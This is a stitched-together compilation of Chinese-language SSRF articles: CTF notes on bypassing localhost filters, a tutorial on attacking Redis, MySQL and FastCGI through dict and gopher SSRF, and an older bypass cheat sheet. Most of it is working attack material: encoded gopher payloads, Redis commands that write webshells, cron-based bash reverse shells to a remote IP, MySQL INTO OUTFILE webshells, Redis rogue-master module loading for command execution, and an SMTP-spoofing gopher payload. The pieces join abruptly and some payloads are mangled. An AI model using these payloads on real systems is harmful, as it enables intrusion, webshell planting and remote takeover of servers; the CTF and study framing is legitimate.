SSRF绕过 一些绕过127.0.0.1的方法 虽然dns解析和重定向都无法使用了,但是ssrf的绕过方法依然有很多,逐一尝试下其他方法
http://0.0.0.0/hint.php
测试了下这个方法只能在linux下使用,windows并不认识这个ip…
http://foo@127.0.0.1:80@www.google.com/hint.php
DNS Rebinding
感觉这是最难防御的ssrf绕过方法了,不过对环境也有一定的限制,懒狗还没测试…
http://127。0。0。1/hint.php
这个本地倒是测试成功了,buu上就不行,可能跟curl版本有关吧
http://127.1/hint.php
ip2long('127.1')会返回false,这里可以绕过过滤
但是gethostbyname在linux下会把127.1变为127.0.0.1,所以这题是无法使用的。不过windows下经过gethostbyname后依然是127.1
curl是支持127.1这样的写法的,但这样发出去的http请求是有问题的。因为http包中的host头被设为了127.1,apache会返回一个400 Bad Request
既然是http包的问题,那么用gopher协议构造一个正常的http请求即可。不过这因为gethostbyname的原因,这个方法这里用不了
ip进制绕过
本来以为ip2long是可以防御这种方法的,后来才发现根本不行…和127.1一样会返回false
和127.1类似,也是存在不能用http的问题,但是gethostbyname并不会有影响,所以这题是可以使用的,比如:
?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a
http://127.0.0.1./hint.php
ipv6
http://[::1]/ >>> http://127.0.0.1/ http://[::]/ >>> http://0.0.0.0/
``` http:///127.0.0.1/hint.php - 这个trick也非常有意思,之前一直以为只有浏览器才会解析这样host为空的畸形url,结果翻p牛小密圈旧帖的时候发现Li4n0师傅提到curl和git也会按照浏览器的方式解析,测试以下发现直接用curl会卡在那,但是php的libcurl就可以… - 用`parse_url`解析这样的畸形url会返回`false`,然后`$hostname=$url_parse['host'];`会返回`null`(神奇的php)。 - 接着又是一个windows和linux下php的差异,windows下`gethostbyname(null);`会返回本机ip,导致后面无法绕过ip检测。然而linux下并没有这样的特性,`gethostbyname`会返回`null`,绕过ip检测 感觉写的有点乱…总结一下buu上环境能用的有: - `http://0.0.0.0/hint.php` - gopher+进制转换
?url=gopher://0177.0.0x0001:80/_%2547%2545%2554%2520%252f%2568%2569%256e%2574%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%2563%2575%2572%256c%252f%2537%252e%2536%2535%252e%2533%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%252a%252f%252a%250d%250a%250d%250a- `http:///127.0.0.1/hint.php` 浅析SSRF在CTF中的各种实现方式 [**ophxc轩**](https://xz.aliyun.com/u/36547) / 2020-12-10 10:00:47 / 浏览数 8271 [安全技术](https://xz.aliyun.com/tab/1) [WEB安全](https://xz.aliyun.com/node/16)**[顶(0)](javascript:) [踩(0)](javascript:)** ------ #### 关于ssrf ssrf在ctf中出现的次数有很多,利用的方式也是多种多样,包括不同的利用手法,绕过,协议的使用。 ##### 关于redis 在vps上开启我的redis服务,关于redis存在着一些小的漏洞,例如未授权,有些时候还没有设置auth,在ssrf中redis的利用方式多种多样,包括反弹shell,webshell写入,sshkey上传等等。 ##### 利用dict协议 利用dict我们可以写shell。 关于信息的采集: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205121956-21860150-36b1-1.png) 在redis下我们使用info即可获取redis的相关信息,对于gopher可以加上一个下划线在跟上info,同时我们也可以判断出ssrf的存在。 ###### 关于写入shell与定时计划 写入`shell`很简单,可以在本地试验一下。
flushall
+OK config set dir /home/wwwroot/default/wordpress +OK config set dbfilename shell.php +OK set webshell ““ +OK save +OK
再看一下网站: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205122156-68cd7b24-36b1-1.png) 成功写入phpinfo。 而这周只是在redis上,在实际的情况中,利用curl会出现一些小的状况。 成功写入,但这始终是本地,实际场景下会有很大的不同,比如说利用`curl`命令。
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/flushall -ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP +OK +OK [root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dir:/home/wwwroot/default/wordpress -ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP +OK +OK [root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dbfilename:shell.php -ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP +OK +OK [root@izbp1j0zu9bm2aus0jnbhtz ~]# [root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/set:webshell:”“ -ERR Unknown subcommand or wrong number of arguments for ‘libcurl’. Try CLIENT HELP +OK +OK
看上去是写进去了,其实并没有,我们利用`tcpdump`进行查看,发现其实由于`?问号`的原因,后面的都被参数进行省略了,即使我利用burpsuit也是不可避免的。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205122443-cc9d7366-36b1-1.png) 上边是传输过程中的流量。 所以在CTF中我们想要顺利的写入一些敏感字符需要一些特定的方法。 vps上搭建环境: 漏洞代码:
测试漏洞: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205122906-69aadc0c-36b2-1.png) 在输入`INFO`后,获得输出,证明`dict`协议的可用性。 在这个环境中我还是无法直接写入`?`,我们可以利用编码,在这里我利用的是`\x`十六进制编码来完成。
dict://127.0.0.1:6379/set:webshell:”\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e”
[](https://xzfile.aliyuncs.com/media/upload/picture/20201205123109-b2f08c0e-36b2-1.png) 可以看到完全的输出了没有被转义。 访问`url`: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205123147-c9137f14-36b2-1.png) 成功写入。 ###### 写入反弹shell 利用定时任务写入反弹shell:
set 1 ‘\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n’
转换一下即: url=dict://127.0.0.1:6379/set:webshell:”\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n” 但还要注意这里不能够这么写:\x5c 而应该直接就 \n
不能这么写会产生乱码,而且也无法写入,但是要知道`linux`中的`cron`不会报错,只要读到一行正确配置即可执行,这里直接`\n`。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205123516-46183ce8-36b3-1.png) 服务器里面看一下: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205123546-57e46d52-36b3-1.png) 成功的获取了反弹shell。 ###### 端口探测 同样的利用`dict`协议我们也可以探测端口存活。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205123650-7dc6e388-36b3-1.png) ##### gopher 在利用ssrf攻击redis时利用`gopher`协议我们可以进行主从复制,`shell`的写入 我们先利用`gopher`写一些键值对。
127.0.0.1:6379> set key1 value1 OK
这个时候利用`tcpdump`进行抓取流经6379的流量。 相关命令:`[root@izbp1j0zu9bm2aus0jnbhtz ~]# tcpdump -i lo port 6379 -w 1200.pcap [](https://xzfile.aliyuncs.com/media/upload/picture/20201205123916-d4c2e59c-36b3-1.png) 将红色段抓取下来。
2a 31 0d 0a 24 37 0d 0a 43 4f 4d 4d 41 4e 44 0d 0a 2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 34 0d 0a 6b 65 79 31 0d 0a 24 36 0d 0a 76 61 6c 75 65 31 0d 0a 按照这个每个都加一个%号改为url格式即可。 %2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a
这样直接打是不行的,还要进行`url`双编码,利用curl可以只编一次码,因为他只解码一次。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124248-53280412-36b4-1.png) 此时查看服务端: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124320-66305cc6-36b4-1.png) 尝试写个`shell`: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124348-7706650e-36b4-1.png) 转换一下:
%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%33%31%0d%0a%2f%68%6f%6d%65%2f%77%77%77%72%6f%6f%74%2f%64%65%66%61%75%6c%74%2f%77%6f%72%64%70%72%65%73%73%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a
`curl`发送一下: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124416-87ec19b8-36b4-1.png) 准备保存到网页上: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124452-9d546b0c-36b4-1.png) [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124514-aa6d879c-36b4-1.png) ###### web端利用 在web端中进行双编码即可: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124631-d84bc6e2-36b4-1.png) redis上看一下: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124711-efed9b04-36b4-1.png) 把`save`也拼接上去,发包。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124808-11eb965c-36b5-1.png) 成功写入: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124841-2570ba22-36b5-1.png) ###### 关于反弹shell 跟利用`dict`协议一样。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124917-3b64855c-36b5-1.png) 成功反弹: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205124944-4b58a56a-36b5-1.png) 注意:写在`crontab`上时候反弹`shell`是这样的:
set webshell “\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n”
而写在`/var/spool/cron/`下需要我们将`root`去掉。
CentOS系统: 路径使用:/etc/crontab或者/var/spool/cron/root ubuntu系统: 路径使用:/etc/crontab或者/var/spool/cron/crontabs/root
有些时候`redis`是需要认证的,我们可以进行暴力破解,尝试弱密码。 在利用的时候加上`auth`的流量即可。 #### MySQL ##### gopher打mysql 利用ssrf我们不仅能够进攻靶机拿下受害机器获取`shell`,同样也可以获取一些数据库的信息,有些时候我们可以拿这些数据库获取到的信息去扩大战果。 在`mysql`数据库不存在密码的时候:
无密码认证时直接发送TCP/IP数据包即可访问
SET PASSWORD FOR root@localhost=PASSWORD(‘’); sudo mysqld_safe –skip-grant-tables &
使用上述两条命令`mysql`数据库就可以不用密码进行登录。 利用`tcpdump`来进行流量抓取: `tcpdump -i lo -s 0 port 3306 -w mysql.pcap` [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125114-80cf2f5c-36b5-1.png) 注意第一个红框为登录流量。 注意两个点:`00 00 00 03`以及`01 00 00 00 01` 然后跟`dict`协议一样直接打就行了。 `ctfhub`中的环境这里直接用了。 在这里发现存在`ssrf`漏洞。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125233-b014d708-36b5-1.png) file`协议没有办法进行读取 判断gopher能不能打,至于判断方法,我自己是利用sleep函数来进行判断的:  监听一下,将流量转为`url`编码: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125405-e6f2410c-36b5-1.png) [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125427-f3f2fbb2-36b5-1.png) 休眠十秒,确定存在。 `sql`语句:
select ‘‘ INTO OUTFILE ‘/var/www/html/shell.php’;
用上述方法抓取下来进行`url`双编码: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125500-0788dee4-36b6-1.png) 访问对应`url`:可以观察到回显。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125527-17c34808-36b6-1.png) 有两种工具可以帮助我们快速生成`payload`。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125555-28738226-36b6-1.png) 以及 `mysql -h 127.0.0.1 -u root -e "select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/test.php';"` [](https://xzfile.aliyuncs.com/media/upload/picture/20201205125623-38d9f35c-36b6-1.png) #### fastcgi `cgi`与`fastcgi`早已成为耳熟能详的一些服务了,具体原理网上有很多可见。 `fastcgi`:**快速通用网关接口** 在对`fastcgi`进行攻击的时候我们还需要了解一下另一个名词:`php-fpm` 实现原理:
PHP-FPM 负责管理一个进程池来处理来自 Web 服务器的 HTTP 动态请求,在 PHP-FPM 中,master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。这就是 PHP-FPM 的基本工作原理 #知乎上找的
在`php`版本中的应用:从`PHP 5.4 RC2`开始,`php-fpm`已经转正了。 ###### 利用条件 - PHP-FPM版本 >= 5.3.3 - 知道服务器上任意一个php文件的绝对路径 ###### 关于环境搭建 因为我的服务器选择的就是`nginx`和`php`,单并没有使用9000端口,查看`log`日志发现它使用的是`sock`方法,所以我就没换,使用了CTFHUB的靶机进行操作。 ###### 攻击原理 在`PHP`当中我们可以利用`php://input`进行一些代码执行等等,而在文件上传中我们也经常利用到`htacess`文件以及`usr.ini`文件,他们都有两个选项:`auto_prepend_file`和`auto_append_file`,将两者结合,我们让文件在加载前预加载`php://input`就能进行任何的`PHP`代码执行了,然后利用`PHP`当中的各种内置函数来进行命令执行就能够`getshell`。 ###### 具体步骤 在我们使用一系列的方式进行信息搜集后发现目标机器使用了`Fastcgi`并且确认其网站上存在`ssrf`漏洞。 因为看他的原理就可以发现这个实现是有点复杂的,所以我们可以直接利用网上的`exp`进行攻击。 第一种方法利用GOPHER生成payload直接打: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130007-becc2764-36b6-1.png) 可以看到打成功了。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130033-ce1836d6-36b6-1.png) 写个定时任务就能一直弹`shell`了。 我们观察一下`Gophers`给我们的`poc`。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130107-e252578a-36b6-1.png) 第二种也可以利用别人的`exp`,`github`上面有很多,我这里直接用p神的。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130148-faa821de-36b6-1.png) 本地开个端口监听: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130216-0b6645aa-36b7-1.png) 把流量抓下来: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130251-208d15f8-36b7-1.png) 进行转换发包: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130330-37663462-36b7-1.png) 成功执行我的`php`所以可以看见这其实是一个很麻烦的地方,能用`gophers`就尽量用吧。 #### 主从复制 关于主从复制:
如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。 另外,对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能,并从从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃。
当我们写shell的时候我们无法绕过对特殊字符的过滤,我们可以利用主从服务器。
利用主从服务器来写`shell`: ##### 环境搭建: 在这里因为我本机装`redis`两个实例没搞出来,因为装的时候就不太一样,所以我直接拉了一个`docker`,并且做了个端口映射。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130424-57c9a8ba-36b7-1.png) [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130613-98e86458-36b7-1.png) 其实觉得部分的命令都已经在`dict`协议的时候写过了,多了这么一点。 在本机上先试一下主从复制,然后放到公网上搞。 `docker exec -it redis-test /bin/bash`进入`docker`容器里,连上`redis`。
master: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130717-bf23ee12-36b7-1.png) slave: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130754-d4e5e07a-36b7-1.png) 利用这个我们可以编写webshell
在实战中:假设6390端口的`redis`是我们可控的`redis`服务器,而`6389`正是我们需要进行攻击的。 我们只需要进行主从绑定操作即可,获取到流量: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130822-e5dc1e8a-36b7-1.png) 将其编码利用`gophers`进行发送。 同时我们还需要 此时我们查看一下从机。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205130850-f64aeb3e-36b7-1.png) 发现已经是写进行了主从复制。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131007-245c3136-36b8-1.png) 这里编码的是这些数据包: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131036-356aac46-36b8-1.png) 在主机上: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131112-4b0f7e6e-36b8-1.png) 发送`save`包: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131139-5ad66538-36b8-1.png) 访问`phpinfo.php`: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131205-6a9d07ec-36b8-1.png) 完成了主从复制的写`shell`。 而有些时候需要进行`auth`的授权,在那里可以尝试根据他的返回流量进行爆破。 当然网上还有一键就能写`shell`的,利用python脚本模拟`redis`主从之间的交互过程: [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131243-812dfa02-36b8-1.png) ##### 主从复制RCE 在上面我们已经通过主从复制完成了`WebShell`的写入,其实还可以更进一步直接`RCE`,在`redis`的`4.x`以及`5.x`版本当中是存在RCE的可能性的。 相关命令:
设置redis的备份路径:config set dir ./ 设置备份文件名为exp.so,默认为dump.rdb:config set dbfilename exp.so 设置主服务器IP和端口:slaveof 192.168.172.129 1234 加载恶意模块:module load ./exp.so 切断主从,关闭复制功能:slaveof no one 执行系统命令:system.exec ‘whoami’;system.rev 127.0.0.1 9999 通过dump.rdb文件恢复数据:config set dbfilename dump.rdb 删除exp.so:system.exec ‘rm ./exp.so’ 卸载system模块的加载:module unload system
###### 生成exp.so 网上有很多`exp`的`poc`,这里拿的是 https://github.com/n0b0dyCN/redis-rogue-server `r3kapig`写的。 [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131337-a158019c-36b8-1.png) 在实际当中很少有这样的情况,如果我们完成一次这样的渗透需要满足两个条件: `protected-mode`为`no`, bind 由`127.0.0.1` 改为`0.0.0.0`。 ps:`bind`改动后服务器上任意网卡地址可访问
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
[>] PING - test if a connection is still alive [<] +PONG [>] REPLCONF - exchange replication information between master and slave [<] +OK [>] PSYNC/SYNC - synchronize slave state with the master [<] +FULLRESYNC
把打的流量截取下来:(这里就是加载exp的过程) [](https://xzfile.aliyuncs.com/media/upload/picture/20201205131412-b61b58d6-36b8-1.png) 不用脚本打的话无非就是把`exp`的位置放对了就可以。 #### 主从复制例题: `redis4.x/5.xRCE漏洞` ##### [网鼎杯 2020 玄武组]SSRFMe 主从复制我的理解就是 他的远程 `redis`没权限 那我们就复制一个! 和之前做`mysql tp5`一个意思 那我们就是伪造一下: [项目1](https://github.com/n0b0dyCN/redis-rogue-server) [项目2](https://github.com/xmsec/redis-ssrf) 用着两个项目! 因为`buu`不能直接 反弹shell! `redis-rogue-server` 就是用里面的`exp.so`就行 把他放到`redis-ssrf-master` 里 `py2`的环境运行`rogue-server.py` 挂载着! `ssrf-redis.py` 改改里面的数据 直接打就可以了!  直接再加密一下 大! 反正多加密没啥!少了就不行! ##### 原理: [大佬](https://liotree.github.io/2020/07/10/%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E7%8E%84%E6%AD%A6%E7%BB%84-SSRFMe/) 原理的化看大佬把: # SSRF绕过方法总结 [脉搏文库](https://www.secpulse.com/archives/category/category/secdocs) [瓦都剋](https://www.secpulse.com/newpage/author?author_id=4526) [](javascript:void(0)) 2017-11-22 24,515 ## 前言
昨天忘了在公众号还是微博上看到的了,看到一个SSRF绕过的技巧,使用的是 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 绕过的,自己也没遇到过。然后想想自己对SSRF绕过还是停留在之前的了解,也没学习过新的绕过方法,所以特意找了找资料,学习学习最新黑科技,充充能。
## 0x00 SSRF是什么 能精简的就不扯淡,一句话就是:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。 ## 0x01 SSRF能干什么 - 探测内网信息 - 攻击内网或本地其他服务 - 穿透防火墙 - 。。。 ## 0x02 SSRF怎么找 - 能够对外发起网络请求的地方 - 请求远程服务器资源的地方 - 数据库内置功能 - 邮件系统 - 文件处理 - 在线处理工具 - 。。。 ** ** **举几个例子:** 1. 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。 2. 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。 3. 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。 4. 邮件系统就是接收邮件服务器地址这些地方。 5. 文件就找ImageMagick,xml这些。 6. 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。 以上这些不是本文的重点,下面说下重点介绍的SSRF绕过的方法。 ## 0x03 SSRF怎么绕 ### 1、攻击本地
http://127.0.0.1:80 http://localhost:22
利用[::]绕过localhost http://[::]:80/ >>> http://127.0.0.1
也有看到利用http://0000::1:80/的,但是我测试未成功 ### 3、利用@
http://example.com@127.0.0.1
http://dwz.cn/11SMa >>> http://127.0.0.1
http://127.0.0.1.xip.io/

http://www.owasp.org.127.0.0.1.xip.io/
 ### 6、利用DNS解析 在域名上设置A记录,指向127.0.1  ### 7、利用上传
也不一定是上传,我也说不清,自己体会 -.- 修改”type=file”为”type=url” 比如: 上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
### 8、利用Enclosed alphanumerics
利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
 ### 9、利用句号
127。0。0。1 >>> 127.0.0.1
 ### 10、利用进制转换
可以是十六进制,八进制等。 115.239.210.26 >>> 16373751032 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

http://127.0.0.1 >>> http://0177.0.0.1/

http://127.0.0.1 >>> http://2130706433/

http://192.168.0.1 >>> http://3232235521/ http://192.168.1.1 >>> http://3232235777/
 ### 11、利用特殊地址
http://0/
 ### 12、利用协议
Dict:// dict://@:/d: ssrf.php?url=dict://attacker:11111/ SFTP:// ssrf.php?url=sftp://example.com:11111/ TFTP:// ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET LDAP:// ssrf.php?url=ldap://localhost:11211/%0astats%0aquit Gopher:// ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
### 13、使用组合
各种绕过进行自由组合即可
### 参考链接:
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
https://twitter.com/albinowax/status/890725759861403648
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
https://hackerone.com/reports/115748
https://www.dailysecurity.fr/server-side-request-forgery/
https://twitter.com/EdOverflow
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection
http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf
http://byd.dropsec.xyz/2017/06/04/SSRF%E6%BC%8F%E6%B4%9E%E5%89%96%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
http://blog.csdn.net/xinianbuxiu/article/details/53560417